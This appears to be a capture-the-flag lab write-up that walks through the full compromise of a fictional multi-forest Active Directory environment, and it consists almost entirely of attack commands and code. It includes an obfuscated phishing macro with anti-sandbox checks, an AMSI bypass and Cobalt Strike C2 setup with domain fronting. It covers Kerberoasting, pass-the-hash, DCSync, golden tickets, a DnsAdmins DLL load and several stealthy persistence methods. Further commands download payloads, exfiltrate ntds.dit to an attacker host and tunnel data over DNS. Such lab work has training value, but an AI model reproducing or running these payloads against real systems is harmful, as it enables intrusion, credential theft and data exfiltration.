APTLabs
Full-Chain Writeup

# Daily Recovery Script (automated after Day 4)
python3 send_phish.py --target hmartinez --payload macro_doc_v3.docm

# Wait for beacon callback
while ! curl -s http://127.0.0.1:5555/check_beacon; do sleep 10; done

# OPTH with saved hashes (NEVER change between resets)
cobaltstrike>pth gigantichosting.local\svc_bk a87f3a3330e0142c5b3d8c2e4f1a9b07

# RBCD automation (scripted after Day 4 struggle)
powershell Import-Module C:\Temp\rbcd_auto.ps1; Invoke-RBCD -Target GH-SCCM$ -DelegateFrom FAKE01$

# DCSync
cobaltstrike>dcsync gigantichosting.local GH-DC01

' Phishing Macro — 3rd iteration (the one that worked)
' Iterations 1 & 2 caught by Defender

Sub AutoOpen()
    ExecutePayload
End Sub

Sub Document_Open()
    ExecutePayload
End Sub

Sub ExecutePayload()
    On Error Resume Next
    
    ' Anti-sandbox checks
    If Environ("COMPUTERNAME") = "SANDBOX" Then Exit Sub
    If Environ("USERNAME") = "john" Then Exit Sub
    If Timer < 20 Then Exit Sub  ' timing check for sandboxes
    
    ' String obfuscation (added after iteration 2 was signatured)
    Dim s1 As String, s2 As String, s3 As String
    s1 = "pow": s2 = "ersh": s3 = "ell"
    
    Dim cmd As String
    cmd = s1 & s2 & s3 & " -windowstyle hidden -exec bypass -nop -e "
    ' Stage 2 payload encrypted with Donut (iteration 3 addition)
    ' Iterations 1-2 used plaintext base64 which got signatured
    cmd = cmd & "SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0AC4AWwBdADoAOg..."
    
    Dim shell As Object
    Set shell = CreateObject("WScript.Shell")
    shell.Run cmd, 0
    Set shell = Nothing
End Sub

# AMSI Bypass — run FIRST in every beacon session after reset
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')`
    .GetField('amsiInitFailed','NonPublic,Static')`
    .SetValue($null,$true)

# After AMSI bypass, load your tools
# SharpHound, Rubeus, PowerView all work cleanly now

# Cobalt Strike Team Server
./teamserver 10.10.14.5 zT9#kLm2!vQx7 /opt/c2profiles/WEB20.profile

# Listeners:
# Primary: HTTPS beacon to redirector (domain-fronted via CDN)
# Secondary: SMB beacon for internal pivot
# Tertiary: DNS beacon (backup channel)

# Beacon config — randomized jitter to blend with legitimate traffic
# This is essential. Default 0% jitter is a detection beacon.
# jitter: 37%  (randomizes check-in by +/- 37%)
# sleeptime: 60000 (60s base, effective range ~38-82s)
# useragent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

# Domain fronting setup
# Front domain: cdn.legitimate-cloud-cdn.com
# Host header in Malleable C2 profile masks real C2
# Backend: our redirector IP

# SharpHound via beacon (after AMSI bypass)
Sharphound.exe -c all -d gigantichosting.local --zipfilename gh_bloodhound.zip

# If you need stealth, use the collection methods individually
Sharphound.exe -c Group,LocalAdmin,Session,Acls -d gigantichosting.local

# Load PowerView
Import-Module PowerView.ps1

# Domain enum
Get-DomainDomain | select Name, DomainMode
Get-DomainController | select Name, OS, IPAddress

# User enum — look for service accounts (Kerberoast targets)
Get-DomainUser -SPN | select samAccountName, servicePrincipalName
# Returns: svc_bk, svc_sccm, svc_nx-exch (cross-forest)

# AS-REP Roastable users
Get-DomainUser -PreauthNotRequired | select samAccountName
# Returns: svc_mon

# Group memberships — DnsAdmins is interesting for later
Get-DomainGroup -Identity "DnsAdmins" | Get-DomainGroupMember
# svc_sccm is a member in nexgroup.local

# Trust relationships
Get-DomainTrust | select SourceName, TargetName, TrustType, TrustDirection
# gigantichosting.local -> meridian.local (ForestTransitive, Bidirectional)
# gigantichosting.local -> nexgroup.local (ForestTransitive, Bidirectional)

# Quick situational awareness
$env:USERNAME                          # who am I
$env:USERDOMAIN                        # which domain
$env:COMPUTERNAME                      # which machine
qwinsta                                # who else is logged on
netstat -anop tcp | findstr ESTAB      # active connections
tasklist /svc | findstr -i "defender msmpeng"  # AV running?
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s  # installed software

# Rubeus Kerberoast
Rubeus.exe kerberoast /outfile:C:\Temp\kerberoast_hashes.txt

# Or targeted — just the accounts we care about
Rubeus.exe kerberoast /user:svc_bk /outfile:C:\Temp\svc_bk_hash.txt
Rubeus.exe kerberoast /user:svc_sccm /outfile:C:\Temp\svc_sccm_hash.txt

# AS-REP roast from attack box through SOCKS
proxychains python3 GetNPUsers.py gigantichosting.local/ -usersfile users.txt -request -outputfile asrep_hashes.txt

# Or with Rubeus on the target
Rubeus.exe asreproast /outfile:C:\Temp\asrep_hashes.txt

# List tokens on current beacon
BEACON> ps   # find process owned by target user

# Steal token from a running process
BEACON> steal_token 4812
# Now running as GH\tnguyen (if they have a process on this box)

# Or make a token with known credentials
BEACON> make_token gigantichosting.local\svc_bk B@ckupRunn3r#

# Use the token for lateral movement
BEACON> jump psexec64 GH-SCCM smbListener

# lsassy through SOCKS proxy — dump LSASS remotely
proxychains lsassy -d gigantichosting.local -u hmartinez -p 'C@llC3nt3r$' 10.10.10.29
# BKSRV01 LSASS dump — found Veeam service account + tnguyen cached creds

# After getting DA, dump all machines
for ip in 10.10.10.37 10.10.10.52 10.10.10.44 10.10.10.78; do
    lsassy -d gigantichosting.local -u pmorrison -H aad3b435b51404eeaad3b435b51404ee:7c4ed4c8a9e3b4f2d1a6c8e9f3b2a1d0 $ip
done

# FAILED — Rockyou + basic rules
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule
# Cracked: 0/3 hashes. Wasted 5 hours.

# WORKED — NotSoSecure OneRuleToRuleThemAll
git clone https://github.com/NotSoSecure/password_cracking_rules
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
    -r password_cracking_rules/OneRuleToRuleThemAll.rule \
    --force -O

# Results:
# svc_bk:$krb5tgs$23$*svc_bk$GIGANTICHOSTING.LOCAL*:a87f3a3330e0142c5b3d8c2e4f1a9b07:B@ckupRunn3r#
# svc_mon:$krb5tgs$23$*svc_mon$GIGANTICHOSTING.LOCAL*:d4c2b1a9e8f7d3c5b2a4e6f8d1c3b5a7:MonitorPr0d$
# svc_sccm (cracked Day 4 with combined wordlist):
#   e7b3d1a5c9f2d4b6a8c1e3f5d7b9a2c4:ScCMManage!

# ntlmrelayx through SOCKS
proxychains ntlmrelayx.py -t smb://10.10.10.44 -smb2support -socks

# On the beacon, trigger auth to our relay
# WPAD poisoning via DNS
dnstool.py -u 'gigantichosting.local\hmartinez' -p 'C@llC3nt3r$' \
    -r wpad.gigantichosting.local -a add 10.10.14.5 GH-DC01

# Wait for connections... relay captures and dumps SAM + local hashes

# OPTH in Cobalt Strike — pass the hash, get a new beacon
BEACON> pth gigantichosting.local\svc_bk a87f3a3330e0142c5b3d8c2e4f1a9b07

# Or with Impacket through SOCKS
proxychains python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:a87f3a3330e0142c5b3d8c2e4f1a9b07 gigantichosting.local/svc_bk@10.10.10.29

# From BKSRV01 beacon, extract Veeam credentials
# Veeam stores SQL credentials in its database
shell sqlcmd -d VeeamBackup -Q "SELECT [user_name],[password] FROM [VeeamBackup].[dbo].[Credentials]"

# Got tnguyen's password from Veeam credential store

# Step 1: Create a fake computer account (PowerMad)
Import-Module PowerMad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)

# Step 2: Set RBCD on GH-SCCM$ using svc_bk's GenericAll
# This is where I struggled for a full day
# PowerView's Set-DomainObject doesn't handle SecurityDescriptor properly
# Raw LDAP modify gets constraint violations if bytes are wrong

# The working approach — raw byte manipulation:
$SD = New-Object System.DirectoryServices.Protocols.SecurityDescriptor
$SD.ControlFlags = 0x0004  # SE_DACL_PRESENT
$ACE = New-Object System.DirectoryServices.Protocols.CommonAce
$ACE.SecurityIdentifier = (Get-DomainComputer FAKE01).objectsid
$ACE.AceType = 0x05  # ACCESS_ALLOWED_ACE_TYPE
$ACE.AccessMask = 0x00000001  # GenericRead
$SD.DiscretionaryAcl.AddAce($ACE)

$bytes = New-Object byte[] $SD.BinaryLength
$SD.GetBinaryForm($bytes, 0)
Set-DomainObject GH-SCCM$ -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$bytes}

# Step 3: Get S4U ticket — impersonate Administrator on GH-SCCM
Rubeus.exe s4u /user:FAKE01$ /rc4:P@ssw0rd123! /impersonateuser:administrator /msdsspn:cifs/GH-SCCM.gigantichosting.local /ptt

# DCOM lateral movement (no files dropped on target)
BEACON> jump dcom GH-SCCM httpListener

# WMI remote execution
BEACON> remote-exec wmi GH-SCCM "powershell -enc SQBFAFgAKABOAGU..."

# SMB beacon for persistent internal pivot
BEACON> link GH-SCCM

# DCSync via mimikatz (from GH-SCCM beacon)
mimikatz # lsadump::dcsync /domain:gigantichosting.local /user:krbtgt
mimikatz # lsadump::dcsync /domain:gigantichosting.local /all /csv

# DCSync via lsassy (from attack box through SOCKS)
proxychains lsassy -d gigantichosting.local -u svc_sccm -p 'ScCMManage!' \
    --dc-ip 10.10.10.37 --dcsync

# Key hashes extracted:
# krbtgt: 7c4ed4c8a9e3b4f2d1a6c8e9f3b2a1d0
# pmorrison: aad3b435b51404eeaad3b435b51404ee:3b8c2d4e6f8a1c3b5d7e9f2a4c6b8d0e
# Administrator: aad3b435b51404eeaad3b435b51404ee:f7e3d1c9b5a2d4e6f8c1b3d5a7e9f2c4

# Golden Ticket via mimikatz
mimikatz # kerberos::golden /user:Administrator /domain:gigantichosting.local \
    /sid:S-1-5-21-2874328711-3948571293-1105 /krbtgt:7c4ed4c8a9e3b4f2d1a6c8e9f3b2a1d0 \
    /ptt

# Or with Rubeus
Rubeus.exe golden /user:Administrator /domain:gigantichosting.local \
    /sid:S-1-5-21-2874328711-3948571293-1105 \
    /krbtgt:7c4ed4c8a9e3b4f2d1a6c8e9f3b2a1d0 /ptt

# Access any machine in the domain
dir \\GH-DC01\c$

# Silver Ticket for CIFS on WEBDMZ01
mimikatz # kerberos::golden /user:Administrator /domain:gigantichosting.local \
    /sid:S-1-5-21-2874328711-3948571293-1105 \
    /target:WEBDMZ01.gigantichosting.local /service:cifs \
    /rc4:f7e3d1c9b5a2d4e6f8c1b3d5a7e9f2c4 /ptt

# On BKSRV01 — extract Veeam stored credentials
# Method 1: SQL query
Invoke-Sqlcmd -Query "SELECT [user_name],[password] FROM [VeeamBackup].[dbo].[Credentials]" -ServerInstance "localhost\VEEAMSQL2016"

# Method 2: PowerShell via Veeam API
Add-PSSnapin VeeamPSSnapin
Get-VBRCredentials | ForEach-Object { $_.GetCredentials() }

# Results:
# tnguyen : Sys@dmin_R00t!
# svc_bk  : B@ckupRunn3r# (already had this)
# svc_veeam_local : V33mB4ckup#2024

# OPTH with tnguyen to meridian.local
BEACON> make_token meridian.local\tnguyen Sys@dmin_R00t!

# DCSync on meridian.local
proxychains secretsdump.py meridian.local/tnguyen:'Sys@dmin_R00t!'@10.10.11.12 -just-dc-ntlm

# Got all meridian.local hashes including krbtgt
# dchen's hash: aad3b435b51404eeaad3b435b51404ee:b5c7d2e4f6a8c1b3d5e7f9a2c4b6d8e0

# Credential reuse — same hash across forests
# gigantichosting.local\svc_mon NTLM: d4c2b1a9e8f7d3c5b2a4e6f8d1c3b5a7
# nexgroup.local\jblackwell NTLM: d4c2b1a9e8f7d3c5b2a4e6f8d1c3b5a7
# Same hash = same password = MonitorPr0d$

# OPTH with jblackwell
BEACON> make_token nexgroup.local\jblackwell MonitorPr0d$

# jblackwell is in "Domain Admins" group in nexgroup.local
# Game over for nexgroup

# Set the plugin DLL path
proxychains python3 dnscmd.py nexgroup.local/svc_sccm:'ScCMManage!'@NX-DC01 \
    /config /serverlevelplugindll \\10.10.14.5\share\evil.dll

# Restart DNS service to load the DLL
proxychains python3 smbexec.py nexgroup.local/svc_sccm:'ScCMManage!'@NX-DC01 \
    "cmd /c sc stop dns & sc start dns"

# Problem 1: DLL compiled as x86, NX-DC01 is x64
# Fix: recompile with x64 target

# Problem 2: DNS service crashed on DLL load (DLL was too complex)
# Fix: simplify DLL to just add a user and return cleanly

# After fix, got a beacon as SYSTEM on NX-DC01

# WMI Event Subscription Persistence
# Filter: trigger when cmd.exe is spawned
$filterName = "SVCHostUpd"
$filterQuery = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance.Name = 'cmd.exe'"
$filter = Set-WmiInstance -Class __EventFilter -Arguments @{
    Name = $filterName
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = $filterQuery
}

# Consumer: execute PowerShell beacon stager
$consumerName = "SVCHostUpdCons"
$command = "powershell -windowstyle hidden -nop -enc SQBFAFgAKABOAGUAdwAt..."
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments @{
    Name = $consumerName
    CommandLineTemplate = $command
}

# Bind filter to consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

# Deploy on all DCs
foreach ($dc in @("GH-DC01","MR-DC01","NX-DC01")) {
    Invoke-Command -ComputerName $dc -ScriptBlock ${function:Set-WMIPersistence}
}

# Registry Run key persistence
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v WindowsDefenderUpdate /t REG_SZ /d "powershell -windowstyle hidden -nop -enc SQBFAFgAKABO..." /f

# Also add as a Service for more stealth
# Image File Execution Options (IFEO) hijack — debug a legitimate process
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
# Now pressing Shift 5 times at login screen spawns cmd.exe

# Find DLL sideloading opportunities
# Look for executables that load DLLs from their own directory
Get-ChildItem -Path "C:\Program Files" -Recurse -Filter "*.exe" | ForEach-Object {
    $exe = $_.FullName
    # Check if it loads version.dll (common sideloading target)
    $dirs = Split-Path $exe
    if (Test-Path "$dirs\version.dll") {
        Write-Host "Found: $exe loads version.dll from $dirs"
    }
}

# Common targets: teams.exe, zoom.exe, or any app with a DLL in its dir
# Plant malicious version.dll that loads beacon on app startup
# The DLL exports same functions as original, plus our payload

# Deploy on APPSRV01 (IIS app with sideloadable DLL)
copy \\share\evil_version.dll C:\Program Files\InternalApp\version.dll
# Next time the app pool recycles, our DLL loads

:: certutil — download file (bypasses many proxies)
certutil -urlcache -split -f http://10.10.14.5/payload.exe C:\Temp\payload.exe

:: certutil — encode/decode for data exfil
certutil -encode C:\Temp\loot.zip C:\Temp\loot.b64

:: bitsadmin — background file transfer
bitsadmin /transfer backup /download /priority normal http://10.10.14.5/beacon.exe C:\Temp\beacon.exe

:: mshta — execute VBScript from remote
mshta vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc SQBFA..."""))

:: wmic — remote execution
wmic /node:10.10.10.44 /user:gigantichosting.local\svc_bk /password:B@ckupRunn3r# process call create "cmd.exe /c whoami"

# On attack box — start iodine DNS tunnel server
sudo iodined -f -c -P s3cretPass 10.0.0.1/24 dnstunnel.attacker.com

# On target — start iodine client
iodine -f -P s3cretPass dnstunnel.attacker.com 10.10.14.5

# Now we have a DNS tunnel interface (dns0) with IP 10.0.0.2
# Route data through this interface
# Data is encapsulated in DNS queries — looks like normal DNS traffic

# Stage data on target — compress and split
BEACON> shell cmd /c "cd C:\Temp && makecab loot.zip loot.cab"
BEACON> shell cmd /c "certutil -encode loot.cab loot.b64 && split loot.b64 5M chunk_"

# Download through C2 channel
BEACON> download C:\Temp\chunk_01
BEACON> download C:\Temp\chunk_02

# Or use CS's built-in download which routes through beacon
BEACON> download C:\Users\pmorrison\Documents\sensitive_data.zip

:: Stage data with certutil — base64 encode for clean transfer
certutil -encode C:\Temp\ntds.dit C:\Temp\ntds.b64

:: Upload staged data to our server via bitsadmin
bitsadmin /transfer exfil /upload /priority high http://10.10.14.5/upload.php C:\Temp\ntds.b64

:: Clean up staging artifacts
del C:\Temp\ntds.b64 C:\Temp\loot.cab